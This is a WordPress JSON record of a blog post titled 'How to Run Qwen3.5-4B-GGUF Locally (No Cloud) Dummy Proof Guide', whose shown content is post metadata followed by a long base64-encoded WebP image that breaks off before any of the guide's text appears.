{"id":8331,"date":"2026-07-04T08:53:06","date_gmt":"2026-07-04T00:53:06","guid":{"rendered":"https:\/\/eps.org.tw\/?p=8331"},"modified":"2026-07-04T08:53:06","modified_gmt":"2026-07-04T00:53:06","slug":"how-to-run-qwen3-5-4b-gguf-locally-no-cloud-dummy-proof-guide","status":"publish","type":"post","link":"https:\/\/eps.org.tw\/8331\/how-to-run-qwen3-5-4b-gguf-locally-no-cloud-dummy-proof-guide","title":{"rendered":"How to Run Qwen3.5-4B-GGUF Locally (No Cloud) Dummy Proof Guide"},"content":{"rendered":"<p><img src=\"data:image\/webp;base64,UklGRmpIAABXRUJQVlA4IF5IAABQKAGdASr0AUwBPjEYikOiIaUmJlJqiMAGCU3OfGzz\/Vf\/1lRHg4BuUCNDwhG5kgn8JwIXJP9z12sd+5f2n5le2Fx\/3Me5fw\/7O\/w\/zcfwPAz4\/\/af8n0Tuhv99+bX+X+W\/+z\/9P+N91f59\/2n9u\/fT6Bv1f\/2X+T\/zv7E\/Rv\/df8X+ze+j+8f8f1Ef0P++\/9H\/Dfv\/81H+8\/cr3j\/5n\/jewH\/bv7T\/7fbz9Ub92\/YG\/cz01\/3G+F3+rf8L9uvgT\/nv+W\/93+q\/f\/5AP\/\/7Yf8A\/9HVX8rfT\/5ZfhvyR\/tvTreynxlY3\/nvBP+YfeD8l\/hOPvgF\/i\/82\/wP9p\/Xj++80qAb9T\/rn9+\/v\/7s\/2v42Z\/2QB+sn+x5TagH\/P\/77\/0f7t+Tnyhf8P+c\/xvrj+o\/+1\/ofgV\/l\/9c\/2\/+H\/y\/vcez39xvaT\/ckNqw7z5jq+2BfcrORaM1Q0AjG+V4Yp4g2q7DmOytOCnlM3\/zwtrDSeNwyCmV54z7xVSV3n4m8LQddcLBnb1MnV1jkiryBP+EzwCqnhbetHB6\/\/VOlTj354KwEXcZgCsN\/bmNFo66U0fDme93N2uqNaf8vUEEvvnBLQk3uobRGDuZrTqcebqGFcDZYzNBv4OfoQ05w7k70T87r7tjvhr8WN2R5TCUBX0xtVSfeg+hv73cJH9xehuXF5swYfTo5O7wMKwlZTtkZLwOAoNZhTEMO2RipFJCc2CX1RU1pN1\/\/jLN874QfLS2HF+2jHzWopfpX+I0iXMKWUtf+bF1cRj2Wpa23LA\/P5sZhcQRGtctJiWO\/QeY6+7+Xf0X152Ehrqrm1UIp4R84O+yHwAjllG6W37jgELwHfwJQezoAumKEASYVNjozAwT0qFLaelqSx7cvfNxGfxDPCPPWm7AK0uG6dl2ahsXnnjo\/LZpsJx3VubyfIu3TzNJ6uYR67TnaFMkfulNJuW\/eLKlivmtuM5bPodib+kla44lsMPkZ8DPSE5GSgNQwS+4K6N8ecAUp4CjX7nPeaKzCSZs4A2i5drS4O4it+2Hxoib3bfDyS\/3Sn2My2\/3GCx68ZehPyJP4lqOJrsf5KcCCCggv7jhNIsiVJEd\/SRl4PYXG1yAAt3+WBtKgA+SKenM\/bOfA5HrIBPoWU8ZXklVfx0bjoGPlIIa\/X4Wjg+BnEkZu\/HAIAGc\/4MgwAJ02E4dnpoymQ1pBVnuOkh9jMpuCvNm16aE9SagtS+nRGXVSgNPGh6IznbCRf1X73NelHHAKjjhDScLsEZCTP56uhxCmpZk8dMJzLZIfIORhLpNp4Yk2WMIeWXrRPsh\/2aASX\/EdzEYvTSFztZGCpU92SmXVavGMlHuv8wVYdvvfolBvJMy5OCb0XPvg7ATeDY735jb3o8SZaBwKcEof1pz7CzevK5WgXS0onjf9GCjCoeL\/5hUy1TE+LsmCzAmBun72YauWsimpVYZ5K3fxm6NgeuC+jcAyBgmHBTP0ldtFNITw2OIT47g+gmnHR0H9fqCNpjgYgcyQxZ81Z9PSVN1pR2K5lQLbtiXhsmb\/\/I4pXNXtwsAUAGF0L7oAGnvLDFav6seKL0i3pXtKYBIcPTUmpewLT7OFzbWl03vBiGma9wAkWA7F4MJBi9qFc3n45kMb6KEx8whpukFo+WJTy13o\/W0Sfw84xfkUPn8PHUQ7nIMZ3QIORzdMYMxvQP9OJacE1MVMst\/7npQUAFCxvzx4O+\/0XR3ZtDzCzZ0sXeabIxLOGBxFFqUaii\/eVJ1UcK3NX49XRghrOW6F+XFqdb7ojtZnt2c5p+NgMPlYfAr7VnTghAINRpeNcEWFFfMM7jAbHIdlWeCGLT\/hgng7\/KsPyILj+fqby2942AYvF\/HYVX7X4bAXlK2KR9a+\/dFQgYEi6Wz9ORoHOq+8s6yX4AqAxNpHsSivbksldcQFuMI3eCshN6kLDExQFRNRTHArG27BXDvv8hdJ+xBSAdddUtMTTQpTx0n90PKbVVXjY+6TOK0Vl4QUnsxZT1u5DOYcqQL2SNPHUamw78MMxc4ZyJu3ZX2tEA5p2M8UlA9IKcuCHnKPvL\/BWWMcg1+HhS5l0Z2JlcGcAQsS4LSaakQs1IrdoDhqcEXX3TPQgzaPmuEndPzV5XD3xg975glAwnOT2cShu+UCAsum+vcXJ6gWVl0pE9moiAtgwwyFoX4bTAkhZoH598SdZ9gYfMRPz+nQkmKP+\/9Ggn9ibi6yi1IAf\/56N1aps1nD6VFGlQruZWa+xAOX1r7n9j\/q+fdylMSL+PhUXdGk8Y0uSPYSeMqzD2ft1fenk\/3pp0dLFoKuE7xHpBkv0eWYt81Xzh+bkCheADCbFt+UBA4pOPJdCIowsZccS+B8t0S+\/TxZEXZ05vm2VmA21DYxVpn8icIeHOS7nTFYSUViMprh\/V49JwW3rzjz6nkHfofQwFIu\/Ez+e4IK1EX2cewD6vybzr\/E+vsyLK5rH\/R8dWt61OD66QbRvGvvEjelchzG1U5vVOHwaPh85b7auwK+TmFEDX8s++x06PxsL6jTZ3jRP9hPk12xfD1YHpk4iIxJYtzqPwjdSfyd9bkf2uakSOp5XqFEgeMyzywtjAzhd9ilk2xrAg3IhHyPOK0fjQQYqqdgTPv+brPLdMdTcHmn+fhUv\/\/qZRGXgSN+lfXtrcbm9DVHeyjHb+gIf+hQzcrMPJw5TTQlc5UDROrEdY68xDL+8r8SyPoLRJN6EYLuWb7ew4fkEEraC+HELn3hYvDysudQRtP3OYusBJbuH03OXegbfDpfhx8H12zu0105+9hVjZvbv560J0YSj0brGTv2OL5kJaXgo6pg8OHgV2MB\/cyKhwMAjk\/RGqWe0\/5yhPfZ\/0UVQuUJ+\/ZIhrJhNfBQEX\/mhFRIjkOd7mNJTSS447E\/szOJbGk7AwHs1aPiYQBQlSpTZjilttpluQI2DNUMAqfVI3vvB193M+n\/uB0cof1BSf85hzszUHeriHGrDnv0tANO0tC\/vSPdywDi9l7\/3uSBJAtHYbhihkmc+AwDGScUFPpYQ79bxm8Q\/erTHUbwfnQ2cn2lYx5etLMtdV35f\/neimW6IpyT8ylDiehP6oKgcu94AZcsP7XorVjE5VrdI26VWZL7pONkhVN8HpMqJugWakpp8LguR2YZpJOZDfuujGA6pjmAAA\/v7wOTKfBkSoR7BkSuB\/fsHT2OSJ96kVkMdopg6nvOwCH1ApNFbEm8+WpCpriaOtlFKuk4F3eh7K\/Nzxhxr5d4IaMtZVVlWjaAIsFrtfmzM1l1UDGK4qaZ8qO+6INoLimVzkD5yvP3no2c2GtjaqnOWwlYU1nvTPuhU5k9+BBw8ENQkyaBQHgjaJJTE0DY4tfWoTGGbNi3PGK52Rysras9QTr11yTohuT+X5cRVoeVKuo41jg+b4wL9xWPs2492CFlxc8cAguXjI0l0Jpa0VgHhemt4Dw5zbfMdjKvJUq1kAg3Ew3j9QNwUVa5v66NjLK5y5f8FVakwpUzw2djvKM5qM2LYhyQ\/dUk05+ZhUEo0TWdLraYhR2scjYn8cujv\/a1oI4FkQWTNyphQxnDcd47g6GuZ8c52wH8iWRrwhz0Yt+iuOcBozZXjAjJlzNY3YqYW9K8MJV\/jQRSTjyOtl3S2dtax9pscxX7vxtk2xUp+Akk+\/Dr\/Spm4SMENHYvzJATxjawDoJDhbJy\/IDZPEdr2oMSFuWE7HapmeM9TV3odEUaJtXbendhRu8Qugzz8T0Fhf2lWYvemSDpr\/We+UCo1AXBOoX2lmRvLPw\/v\/nIByGswxRKwf5E5nlGgBF5NyzXfK1oi\/i2G2yFiTKTFF5UplZFYlw\/I1dYtcOXIA1ArYXqBTu83qOopK+TYt3t9h66ciRR9lbPelKZPwb+7TRHtzC9WFiBeYd22AtM18MoBu3\/hnL\/kuaTMdKAnzFoAWZ3RoPDlPOlm7KMNsvvg1ICSMhHZhzc+JCpCgJyd4oxzW\/BpEzZI48KE08\/qbBx8rijz9LYyZruxxBijGfI1BxGg24g1uG5GsY\/MSW6lrcHo\/U9fGMFv2jrF95ACVY35xA0b66p5OktLsY\/W4wy9c2VVCQExFwLvb\/JkcjQ0448czG6b+lGO69uaPXJQAxj89Gw\/TVAclSqcxyZxaS18mVVCPaHm4WXmoaIppWTmRgfJgXaCeYg5oR\/hQ39CQID6sLHXIllHqUOFlzXnCuXkyQmarHpgqr70ouGjCBVW0SpbJoELfsmYwHA0l3xmJwJu+PlHklMFLX9rFUwypA6gF60vtVlxXgw3869RbyJq4HbcHBmhFru6yWFDwB9XsO5T+yCG7olkxQwkkvZu9Xw8jCJCSpGA0gGHI02V908DI4pL3p0iNPb7y08dZt7uoNZAhMtHFFRphNRVRD4N+j8\/ZzX5Rix\/YfkPsiXtKc69+rpyY5EFksfOyGOO\/cQkqceNdJ79OmYtQ4MztLRDdtT9vd02jEx6NFYYUB6gwHR3A58Sa3QYHBFc4Yj1oC+mvZQbRZSHJNfASA4oVRTi2fpb\/dnsAVBeTPZ5fzFWMn+mowaz+kl+llqEC1vuthrC6zwith895jqJWLs4fg0\/BX5FUkJ4xX4pjIxIhkOU2y7sLQ2DHbkL6sc\/bbF1o37dBWoAuZ5UIzEVd1fjXF109Y+r\/4KTywovhRWOQEBpDZfDgRKVHtKjIr41W5cMiFZgbRopeDRI0ro5M4JObHpL7OJoJ8sZzMVFqxKVy3QrpxyFjvPjBQbQWYOZbuFAv1460hriPBcUfaN3u60rLMvl5FX0nC9s1Hho5K8RLnYsJC02\/yUIQ9pS9u94Oby5D8GidlU3N0tuepAr6PZpJSl+XgFQOVX+YD0quQnDJPCt0ZnwDPQB2X2ABkkiPlwPIdq7FY3XNQwglISd3t32RGXqJXJkArcLuooI631DFa2YhP\/unyUVS7ZKXXESorT2QaNX1Btq3Ff\/PGuPeSDL6hjRPnWQGFeICzUNqAjiZjqUIF7ECHAcrNITH7HyUdjH7aSVjBGRs2Iz31t+VKIPUGhabwJnL8QI6kcJajl\/NqTWAzR9\/iQSH10RTRhfnBYMtCV7m7njIkUgVo3fznWWSV6co0984arGZRSE+Z9yxm8kt1uCZ9VfT8rFRpMZzTuXnrApQG\/+vdMVeyVuDv6Q5kOLqjui2LwnFiq6emkO+NbQyiy6i08BFeVscDr7AcptNToyG7xszPAahGPLvmDvFT\/pmhIbIPJ0wFTP7EgJtFUDL2wgLK0oInxsCGw7fHSQtcumVKihvqlsvOEZP++qu21Q265dvG31UIYJzWrC\/7HG3PjfhNvL+2aA3TdjdzjLJr5kbFTZySWHkICn+d21ij5qa9S2hYohzOhXqgPJF6hkfwTVZ+NIHzeaDAHYw8wiMnD+pjixjOisIvcCJo+oYCyt3YJcIQ1Vt5N4s9BSK5Zj4W8TPDEqNW2zLdq7qoHI\/FMTpbjMphuUj668G1KIsV85JH16FYN9tTddFlIRX6GFTvQo8LZr58VYmikdIUohgmyrvUfrlLyEGG7NjR9+y+fgfZeIxyJTzYcmojMkFCP2Rx3LN90BcMbNxhdZpDmmAx1DWQWvvok7zdF9k3vdznK+g9mb3yorJv+aTVxvdPdGycaRU\/ztmGsyJQo5I0\/0R6AIuiIhOqUUgHmMyMnEIFgoSv5A15076gZ3Gp445GXE4MuBi3NfxNMwamr2G8Fq4TU323JaNZTmckML6vr0RRb+PlUDaHkgYnFvy2W5tGvtTo48gxcmRGKMGkMAwX2UdOxALqRkrHGnUf60uEJKYYXFOONfbW0uCUM5FmWeTDRjk9EsuD1EbJfh\/txIcJs9yYokPZIXRX3IaMXeLz7ny\/bXIBq67DFh7oG8XHV79iK6tqBsOtPAyQfozfaAWwkV99A+oENMyLM7uxHIu\/lcGMO+eQl8b47Fe9XFkF\/vBIoMs0fBDTuagcPZun9aZScER535bZHo6\/0z\/Kk9U+SiYhQzvlpLGt46YnO4bFgqd8a6wSZxuzh2BhfjCsUxqjzlFC1qM4FCImVh6UEzob9X\/x2njviHKxHiRhBWkzJ9Sy7hBR3EtkxE26VJB5BkVXjMpPmC2vTkdLXYyqy6ppPbzjrweyN2fC9x3plP89+kkdZe3wQpPUBYF2Hv+veTmojIISEtQ3reeYe\/RjnZLZ3kU\/hi0Q8yL1vLIvcwHqMllX0E6VH5MjmNR2a8EuDFt\/\/JtFErk4XuBZlFkURTyj3raZATrlaR\/AoToU06umsqDksHnbTe6Fpka5E+RGrHPYoE231KiOLyrW8BBW3\/gDP5q1Gbu3vqzj+z3JxhHrZbSEPGJoszgdTFCbRy7KLV\/qLcRWiKNJARX6mHeE0eAzUqW6So3f\/5zzl7TBaz+r2hAwrVUsEFPqEFjLweWiBg4ArCF152h0UU+qDtl12QBt6rhhnoTmuj1aFERIoiRMmPdZ144\/Gcgty8mr6jrYY5QUp9dg9\/HbFZ1igteK9oRUX0eyKCb3g5oL2rtzKh6V5w7i+Vb1G0LjyHo2E7DNKXE1a+1Kl07TapatTE5lGGjACYTqYW1VuyyTkThp0JRGspNtO9mM1OZznxuvhHBxWxCnAnjWSH3J5BZ0hBLEE1NpBz4eleYHtZsZuVcjjV6l5FlNR6dNRL2nxwCtQ12HqAsj1b6sdrqrikv2WHdvSPAXPlf21EGXy4I8STUOmAPdilyL6D6+GcnBz2kc6KbH3LijUDyW3ptqtUR5kzd261pdID8yNU7I6IaC64JqL3eFps+cfksYqmBWXJro9ZaQXY3TGBPugh8P45QcMAc9Q4ZUyf6bQUwTYariEPZT76tp77sSKF0JRhES9jY+9S1iQ5IsK6+pkzPkyOfczsaK8twPsyfkH40J\/sPnkj0rs9XYV\/uPdvrLi+4e1Hu\/GCsIU9qzXJ5mYtPKs15awaXJNGJP+7W8IEvxBh3zzAB1pCB7yiO8jHTFFnuRSG4GEeBE0L+X6tG3zC8rhoajnIXfb1MZs6LW3rTp\/bEpr+nwpTflkevBlitxjWgv1AmUtlOuflcle7gmaa8bBqJBIAjb0eloM+g\/rT6aBtyuPk46DZnhAe7lSu+fTquJN1JZ95hUuF6bszDrI87HxEtDquJb5hzfo0Avy9yU+uQ4p3wAcmYzwWfDgoPl8a1MVcGxj6c4zrYIAxjapYpNzs\/3ncOalwzrm8SMxwU7AiwZrc\/ZthZ5C43Da6\/M8r04o3BZxPhkwkr3PpgJehzdGGh36EPJxL7NkVOHtQ9E6soYAg8Ts387jBcIFWeqzs7RIRUEf4dkN9P06rDvi61lsBY\/LUDYbD6oFPrF5mc+280uNBgIV+Qw\/K+nqNC8AucnI7jyE57J7UcBomCvKltaw2AB1ZtctgyAHAIu96\/M\/gvEb6QhF1HSWPFbf+ldof8NgLr0JG7nLoQyJUZ04iNN9RLe8U9I0nk\/HWAcFdGn+EUdVR3rmWYWcUi4GLOYSlr9e8sLHLC+qb6SR7pUv0vEtYiCjCMn2Jr9Xfc0vGtUkHs3ubEwcn6dRoSpNS6RW+BCcKjtSrSWA8lWnskriHfDCbyBjRTj9ekpbuiql3DrSdHVRFGR0uWCHccYmh34Q2dE0ScNOj2VFXDngOF30dN\/ZFeqDVAsmePdahgHro+rb++R1o+eXNHNcvyPf8diYKt24p51Q3qCYy1kCJWpi\/MxtB9LS9PCiNdhmsmIFMsj98UObx4KVosUkdxBWTPjQSFMawoORfcXWTRKkmr0I2k2xMirjMjeBr3bUQkcG6q520SdBD8xsoQq7YDurxZu8GTIvnwG+SH9DTyRLkg1yvlQKO7gfyUlw0bHY37AvESeI+fjnKQ2p6QhBKQkEKE0\/skfneTM11XGFWZl8xr2pbZeJ\/Chgp\/+y5NGxePVPu+9OBjqFhKdgmgbF1a\/lFjuKWJUC+I4b9hy6PgXZnjtPHwO9uDhySGeM+KuDHCCbqDCYUGU1\/Gr03P9JmcMKPfT9aNjdb8WSJRTlHgselUlwZjR7hUbp+vvFmXQPN98BzmJNYPKai8qGjHjEOUoWY+0pgYaLPL70w4u\/8qROykque2X\/5kTsWDxPI2lCk9TvMhJ+CAH1nbbd\/esCQri+MBuomSMtiV9CM6VpI+9fLrkRf9HLboxQZwD7N2mVDkl3e9YMvNsXRQpl4l0Fmw7ZFEnLv5WgZ2OO+F6BY4cDr4CtNWSSaWK0kNzwN3Etc66qpJyRmYFcvl2naxk+j1YszAqdmfBDBxY5iCocn6JPfnpCm2xDQEfPE\/C4kTPNmiKmlHzHXue2gKWfeh2TQKNZ7fWmL9N4fvHURNQMraCgbneoDr5IXmh3z\/woF9wXxbZIYCbXV+sqzleOjGiFM+duro++Otld3fnTPmA9T6XC9cRzzq1A3BEdSWlRZH6XJWqA8WsYVqct\/m3t3CqGye53GbpXCpIFjCX+QhPdy3zqxq1G5BGIyUG+LrUdlQlBBnnhn3ypXvc\/t7Bk37Y1Fpfr57fPzSM5J15G4BgL10CXxCyjRNwruIX4i2ygMjTpaWE46w6y9zcM0CDQNGamJjPWXeHoQXC7icYQijmQpbU5ldAQ5xi+mLAInZIH+dCh9aDWe4I032aIPwMkVGVovWe5ic77jt+BIST2fPJxubdd51pz8ypaOENHYqzZMMu2cJf\/upo\/kq1+BZS0l8bIkWPKWMOMtir4ldECz6TrWUuhc4TLRaLx2wSlqz+QU2Me\/\/VA5qD9alzaX1oo9mJCnfp2rvPqbeNU+dUllxFIVSaQyFe+H7ATpD4lcshSPH8cnnU9g2qgW71aPI\/AZSRoH1kXQfaMIbVMdhRqiax0UwZm766saj7EWL+NinZdnk7\/nJlKBXkYTe2GIVkAotUyvDiambNlAwog43\/T+s3irI5eOXSRvrVAK7nUtRwrHbOT18RqHn9WBfJuWjdLDjWr8BGCxUfa9eceJhw29e72C2r7xlztDkLIpOJJBKd5VAzYmfQIrhn7+qRHPxqx7SB0NDx3Xh5b\/JLjDYqtxVQDIIrJKuSsLjof+jGZQKuuUn9SyouZMrTiFhQYTD4qdzNyiF6f3Ix9ZhBak\/wFGkYEVeLlAdy6Ro\/yf3sBJUVsJeXYH4sQvx\/AKsJzLTYmo3vA5h\/8ouWhl+WuFVJ6z\/jGeeyvEnOmnmjuqXZprBq9uwR5Cpde3Uacm7YyhrvSFkt3QWQmhIZEX2zUtBmIxW0G\/U72eWK8IJ\/Hc1Wdl8ZT1H+Aii4+TPs\/J2RoXTehmI0y8py7n2KapWgwqYy\/z+PcClz561AaNFnnl7cL8PBEsfMe+hCEYfTsYqByjqGVssjXbilXgpZSbehx4lnfB4Wd4xYGxkW\/el3MztHmICJJ+Z6OZB\/etB9GPMXs8lfIVUrg47oi\/3jJWRyKwxtYfCwFQtDfxpyTVnTmcKCAJxOZC02rpc62xfZj9oMK1xo6319j6Gn4mjda8Hp3LX1deSFrj+sczc5s+QJgDt6bMnCc72K1KQnVm9Li0AIPJoDyqjsk8TvCL2xepRu1BxyIFmLhPJNE7+qNhLLC5LboeLH9BobneEw30a2RLjm+lW12QDHAM+xXLkEFGazk4avsKq391MFbxQ0\/bogfJQVYvSuRMl9LAq9j5w9ERvcBEl2AJLwbsgy\/7TcmklACG44QMenO5gAfjqbnrxIXBP8t9ln357aUE\/q3PGiwXA7+0Nr8n7drbW+lOKIZqX1gi8ZJiIEZBLf4RYicqOwXpGXuH7QZCi3cbk8UVHtG76x+MzixCgvhLcbtDX+k6PbnnhVvLZsomiPacZGHkGeYzdrsRbaT4GpkUU2bMKMFowj\/+jPY39b74CnU1OuR5MjeH3dKyQBZsY93ALzu30JNe9AThwcTPalQFr3m3r2cBoen5R+9z9xG1d5DRWCLOLE+oBN1kGN+XSleDhaEhIrB9qjiDXbBHCLsC5wH1dzTprCPak6tzGxuMTAmYQpx3NnT+CobSALFpyJklcinoc79Arv8HwiJbgPhRXC5pY97WPqoPEnc2PLkP0obdrpifwkEBdzwLsKcioqKEt+33B3WJHbf3ywOAGiyUBwgf9sl1WF7gI\/LvOsiIJDCjlOSJIImKTU4gPgZyVfar6Zno5Bt8ZOX+8uKlWAB\/mW6xQwx3ibpaBZTHWk8q59V7V2tGpARge0M7S3c5qI0HOg1J5BiQdhpN3HWwnjYrLI2hfuINPEz56le+Q2BUsKitBCil+PMy5zCR\/DH2Fd8Hf\/Pld5K133ynWJywPJh9aG6up0j2mwlGRv0yMmtW7J7s+CFLeU2c+p9TYOX+lNG4S2WmsAVxVR1BAB3W2IQiV1y0CC+qhSTCy1s1noP\/hz+yR2EvusPB00pWzjGqIGuR3y4h\/5yUKnhLGx4O5T5MOCkfZ3k5jTJnqqO3lME5ffNuw41339bH\/Zd1cUVvSgUR3ynRuy66pyuEFbRRGLjO0LU3UIBJCGTcB3iO3CcuZmQz5m+TdUeBjo9TbvpkyS0kir6c3CWY9o0x0yXP44vf1p+VTssHHnyUuptdOWTfxYircN1J6QfopAfQ1dRrMMDiLsDQis8m4BmvqXqPCEYWINMUa3U2d0Igmuc+mrKPaWpsLLWUAsLI84dswgYmLtEhZoj97MvFssHYHX6TNFtjsq\/\/wjYAgLx++S1cWMzJnrS+xwhnh0tG5Vfe8h1k3hfYvRvckhjCuT9NXgv8WOUhb9BTU3ll4TzjEK3sHPykmG95La7XA6CYnGTM55gL\/+F7VB+JFbLYz5+sXWMvY+VVMqBD1v9G90TmrX1Gym4o1VwHqrKuYRR3F6xQWeIJT6f31tJ0QgfEzx0PY0cMQX7xljodFIMJKfrd6DJpaZBmwF8dhFC6wXnpS6rkBoiXPk6eQBa3teZWNulqZcVwSM1fjAw2ggVUd4lxTQu3Y8v6eptqK7WWBdEPIXgLR0GoaTII7ouq8ng+yrDiLXZI8GYRMt5BTKHtIlb\/t4Oio\/upMi5\/dZkYmnni+O\/JtmEeAR4oJZi+k4tWxvC5+OkeuxZVDc3tQnbnYKpuAgLELmhkQZs0FgzhbUmhzJGScSNZWamxp29GehohCm5sGQk7ku66s0e\/kOgec5d6raxGl8oB9FwEROzWR3hNtVF4yO5tOdCUFqbV\/XPkCMbTQtBB1zVJgF\/MxKGdozIXccZX3pcQqMtFJJjYHYuyhwRlmhE5h8+PJiy3jtCydrAGoX\/exKEWXuO7uW1bi\/IkB1oVfeHt2JBzNgGsp\/GHXR777qdY6Y+QpGIEydZMcEL6TtD2RIpDR1sHeKFpRpU\/McdrcH\/g1UPnefAjtxeMa7Lq48SolKYZ78XycxYl0cuLl\/slWvUr09VUlhKqSItuVW0EFfAPzAvOPRD\/TQ5XkId81K5g+YHzzeb4LQO41nnyshwMMrZr3qo48PLD6eE32P6d+bsYMrPYRvpyJv088\/IH2K6ZYArbXLj4JN3HhjBB5RG9A+N8L6pVUP1s\/br4LnEEYeZRdv\/4uxubsFC99oDcSh+dAVTCj1Opgh8aea360qOlFS+J3MvyHy4S5qyTm9kx3u2BVbLTKXYWQXroSM5CvQkEqauosaOIf7idwXhSkW\/uW6lhObxGQt1KzFXI37FiZb3P9QJcP5eUIKWv1uLQIhHV1qsNaOsDcSrPqQ2jj4DGVt1vdE1dj2g1zVuDpFNA4ulJTxjHISFYQFfQEPvAvLKGGQ5B5cmvBK6LqgMlgR6yC1mIc1YCs59occZENmkrYMOnBgjHnWaFwa0zz4GSYy1U9+0lH4JSxjIi\/cdSm5jfcJsYIBF+FRQnqg75pGMozt8ArdFDAgDx0UbrxhUoAQloL8ft0B3X+6U94+AGyx6ewBPWIXB7prFU3\/IPUv7Tdd1JKQ4buLbYAkGzgCqbK0zPC7efwsHX9DHbuMNwdq7H5ywGEAiAJusUmCc8Mhq1VfrngKEQ8NndpklXn+1G4PuhimxkhVAobCExDxEFcrOU6Fsn9HFw+UH1Lg5F3p21Frr6efFg1gp\/MYQ\/xsW3bJvqB1Gr48hfIW1tw175W+502ykKN54NakebIhp4xeTzt9o5vHNFK\/I+7iH51VHyBxVEjYHwf\/Dz160XmVLATQHZzn3a24o7SIzCpTtIIAIUNpzW5ynZwhcTSYrg5wo3XpHb81TwphhiBGC4uMCkwqiFpQXIgnHdY3egZIjH42QFhOeZPeTRUb0isHWM4vvim84WGTdO5EzGi2WfD5C4WMpxEfNKZqANZGKI3q4XRBHRaTuxcBYwxiCrsZZCWmcSyddElSk6Bps+GGHjlFamQoyftncZcIdqdioTin4wI1UrNYWGsTNQBCJ8MfMLevZ0KCrj1XBlQgcRZ5xe7bKk8ycpn+HuHl14P7ZrUkOKUQIKPy5SequhECIvJ7RmOMrwnt46wnVOufKXGWwT3XhIMJRH0COC0Fs+7jNRaYDP1pDc7DwksCifYoMQD5nwsQMy1OpcM\/mJKUX3wsz3zz1IYhcPEyNLyNKAz3Rp1\/4MjC2qCRRR5ExuulcCplP7pgp9N1\/F+A2AMdw+sZ1\/xDPzrAP+w3yy\/gw1HzY80aRFY4ADJTFrYKHabuMLEuyzZZPhOKePHyFTNf7wrx4h+GZkhDlO8fMsFmDBfKNbZnLEmjBD0cVH\/KH5OnMLnb0tQcJJqn6c8UAZ0887297q\/qq\/z6HMBxa8L\/7EkaLVL\/vLBhs9BwHuIsyK4Ide7SV2g+PKkTgTQAhaH6AQQONqwK1WlY5yrk1gyn7ZY89M1dyo606In1iYS1\/8G3LpcgVEhpluD8hduf\/\/IcCihFzxhRG5ti8DDHSiN3pgwU5G2y8OYHlTBxV4tXKfs5mA2cpFCfDAf5rRyFkiVQTSzNqF9mayyv\/q69WGvektltIz5ifEoS9n1cOJVPEWouPziyie62g0F8CW3CURpz17VM4hZt\/Vn9M0049n0a\/lAYPvCCMPcLOSymy8unGWCViZdg5Bn4VVeVDsexTT1Tbv0PAgllB4KOP0OPSKAHdLim9r5Avs4e6GxsubHVtVPOibfThpmH6JtqdmexVl\/28g\/VmTb7AkHTpb0EWDptiwNnAVJtAquxxXeH4+3opfm4LikwS\/QMBS8B4QWf3dl7RNEcGtEFAZqht\/0Zln2gFIelNmySx+QAy7NhoxRjDGsRVwgINZiy7hKOLWiOaBoeP7jUOyIsjQWNMT3+D3JXaij\/u7w7vT6NJVhM08vaInNkQ14Z9Wx8Y8KvbiJ5CLhh27pcpf\/yjhTvmEaP6l8+dp7GLVrDdyuabR9OmQ\/e1VlYXCTBSULpE4PB1AFGkn\/xUl273Zmar+Vjm4EnAYfc\/Hm6yySjzu3qeOgKqYIwJ5JzRAnzz\/NFbEA2M82kyzpISQnghyN2FZgc12IcYl3MunCAt4AHEPDs7j399UNn5D4dj0sW1eqb3RKrCDtxwgsXz4Y4sNHL0L6nUlyCCS3NGih7Q5fDXBy2y5ZrF0Q+RDVgFMjARAlliCoNV1e0RB6o2VsihySD1PNrLKI6jeb39XSPe1UmoD1a+qHhcdBvidrkv19MhxsdITvxrQIEn1kkS0Hzk+oGEZKEBJv0nNv5RnoJbIveBe6oYt7kvt2lSrKT3STkk87fTMGbsP2db4AWMqSk1nB56zwr9HwPvlXIyJ3lv9aRo3IPULWhfsAZoae55YoPB8vuYniKOYB\/7fdepetNV\/9JWbv757HhIMsyTomijkqWGzFeeK\/CjT71\/gLkH1QyEfiTNQmmxiqqvIf8o4tAVJRMS3RQD\/XuqFOsftktXddxQfzS9EjyP\/iCqRmB3vXPisRaWMLha7+Lv9Lpvim1FlHrqWXvOUGIRmCXiqX3T68ke+Vq4l+z6kcgn+555GLyxC\/7gP3i8+PNae8zx+Ov+qSknJ8JMlnb2IDNqmzwanRRizGReGzqt7a1VpfUVMPGIJ89f\/DKGcLW+8VF1n3uJhsUayE8aWOlCOUv+siQz0\/KQ+QVXwKdx8P93B9WOszpVdgAe2OBIqIggzLiooJSxM+WXrk5paC+qutsB5Xz27\/YyiZujlX0Et5v1oH3\/qQZNhchMlJrgNTXkRiBR7WneVv0ema5+K96allZa0mwNhkvC1b5XGKx6JOpmzh+XofSRrBzpDA1P7dt+y3b\/SwUPluzGv16sPz8g5I9DS2\/y4XqYQVrEC\/jrU4807RSbvtAtaUVHEi25MQWUCUWc7hKO0w5fw0ZfdClTl+pCrHIhOOsrPfxnObwyMCP1g7RsIy87b6WKqckNoMhMFvSodyHDpXvqjOZdpq5IHf3jRfogHdQ7i0DAw5NBPibiWX16lLHMUHoubcJ\/YJrYS4DaiD92LPjfHJmEYX3edYX3nURWAeVhLVP+kg888ZCuR9QjVuYwgu4BzEoC2lae5fFb4yLjoENAmUI9GsBxlr\/VxwMlec1Q1iSVdIZ0j5X02pVww3fyd7sI9nQAL9Q5nGy82a5b7Igo0OOd30nTA8HryLwMs9yhcBxgdb6Bc+sahgYaao+lMnIAQ026L1SKX3b2NwBGBdBdbIM0ytf7CrweJfuwZx66Idge4uVLeKHWMv\/DVZBYF8Qv2qO0Y4Xcld6D\/8RZr\/opgK\/AnnjrmfZtJoHj9mR0DPezaAyMAciYn0Qc3gbRRCRYu\/0cECvjBu+skWezQuHzPL95HbWfwoIIQn1qbNMAmbHvFekZGvm\/wG7Yc\/6T9wDK7c4R6p4ONMlIJVwrMdlS\/wvm2nchLa2Moe6FdR6XIG6RDZDSUNfZ0EDryuhSNOnli45qVRhd\/cEuThAAhwIoMdoqUMO2mHL9TW75ZL33CYb6XH90RBvIIeQQNfm46Ww69ArXBIc8VC2yT9zCSRax\/Y+EgGiEs4OrbIag5N1xtMV8nDQtahx78\/ArhqseGm\/DMFr7GTuItBoEN20+hUfA6qo6+3Ly8ytu2ZDNTqUHmgXZGl4L0znpu05Fn0\/fbzlNdzkztExrIHgdJ1IgEI7xDpLhNdBL5soyfFyXmqWTL3BE3JaKj+8sjqhJoVlLv54cWBzXAon2ADPVj0LkegpskDvKJBEi0Z37YDdf50EWMCwspNbGgwzT85iOJTa1TScFsAxytUrqwPV4W\/h4BS0jap3+kvyHOuUeMhzx2xM707dr